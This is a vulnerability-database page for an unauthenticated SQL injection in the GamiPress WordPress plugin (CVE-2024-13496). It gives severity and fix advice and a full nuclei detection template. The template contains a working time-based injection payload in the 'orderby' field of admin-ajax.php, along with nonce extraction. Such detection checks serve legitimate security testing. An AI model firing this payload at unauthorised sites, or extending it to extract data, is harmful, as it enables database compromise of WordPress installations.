Browse / CVEs / CVE-2024-13496
CVE-2024-13496· CWE-89
GamiPress <= 2.8.9 - SQL Injection
highseverity
9.8CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
Impact
Unauthenticated attackers can execute arbitrary SQL commands to extract, modify, or delete database contents, potentially compromising the entire WordPress installation.
Fix
Update GamiPress plugin to version 2.8.10 or later.
How to confirm it
Send: GET / ; @timeout: 30s
Positive when: duration>= 8 and status == 200 and contains(headers, "application/json") and contains(body, "success\":true")Run it with nuclei: nuclei -id CVE-2024-13496 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-13496
info:
name: GamiPress <= 2.8.9 - SQL Injection
author: ritikchaddha
severity: high
description: |
GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands to extract, modify, or delete database contents, potentially compromising the entire WordPress installation.
remediation: |
Update GamiPress plugin to version 2.8.10 or later.
reference:
- https://abrahack.com/posts/gamipress-sqli/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13496
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-13496
cwe-id: CWE-89
epss-score: 0.02184
epss-percentile: 0.82537
metadata:
max-requests: 2
fofa-query: body="/wp-content/plugins/gamipress"
tags: cve,cve2024,wp,wordpress,gamipress,sqli,wp-plugin,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryPzS34wz7rAyyJYSi
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="action"
gamipress_get_logs
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="nonce"
{{nonce}}
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="orderby"
(SELECT/**/sleep(8)/**/FROM/**/dual/**/WHERE/**/1/**/LIKE/**/1)#
------WebKitFormBoundaryPzS34wz7rAyyJYSi--
matchers:
- type: dsl
dsl:
- 'duration>= 8'
- 'status == 200'
- 'contains(headers, "application/json")'
- 'contains(body, "success\":true")'
condition: and
extractors:
- type: regex
part: body
name: nonce
group: 1
regex:
- '"nonce":"([0-9a-z]+)"'
internal: trueReferences
Use this check only on systems you are authorised to test. Where the data comes from